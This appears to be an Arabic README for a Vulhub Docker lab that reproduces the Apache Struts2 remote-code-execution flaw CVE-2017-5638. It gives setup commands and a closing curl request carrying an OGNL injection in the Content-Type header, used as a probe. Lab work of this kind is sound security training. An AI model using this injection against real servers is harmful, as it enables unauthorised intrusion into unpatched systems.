
مختبر عملي يوضح استغلال ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) في Apache Struts2 (CVE-2017-5638) باستخدام بيئات Vulhub Docker. يتضمن تعليمات الإعداد والأوامر اللازمة لتشغيل الحاوية المعرضة للخطر.
يوضح هذا المشروع ثغرة تنفيذ الأوامر عن بُعد (RCE) في Apache Struts2 (CVE-2017-5638).
يمكن للمهاجمين استغلال ترويسة HTTP Content-Type مصمّمة بعناية لتنفيذ أوامر نظام عشوائية على الخوادم المعرّضة للثغرة.
يستخدم هذا المستودع مختبرات Vulhub على Docker لتوفير بيئة آمنة لاختبار الثغرة وفهمها.
1️⃣ استنساخ هذا المستودع
git clone https://github.com/soufiane-benchahyd/vulhub-struts2.git
cd vulhub-struts2/struts2/s2-045
2️⃣ تشغيل الحاوية المعرّضة للثغرة
docker compose up -d
3️⃣ التحقق من أن الحاوية تعمل
docker ps
يجب أن ترى شيئًا مثل:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxxx vulhub/struts2:2.3.30 "/usr/local/bin/mvn-…" Up 0.0.0.0:8080->8080/tcp
4️⃣ اختبار واجهة الويب
افتح متصفحك → http://<VM_IP>:8080
يجب أن تشاهد الصفحة الرئيسية لتطبيق Struts2.
مثال لعنوان IP الخاص بالجهاز الافتراضي:
192.168.56.101
⚠️ نفّذ الاستغلال فقط في بيئة مختبرية خاضعة للتحكم. لا تهاجم الخوادم العامة أبدًا.
يمكنك الآن اختبار RCE باستخدام سكربتات أو أدوات مثل curl أو Metasploit ضد الحاوية المعرّضة للثغرة.
مثال (استبدل <command> بأمر الاختبار الخاص بك):
curl -v -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','test')}" http://<VM_IP>:8080/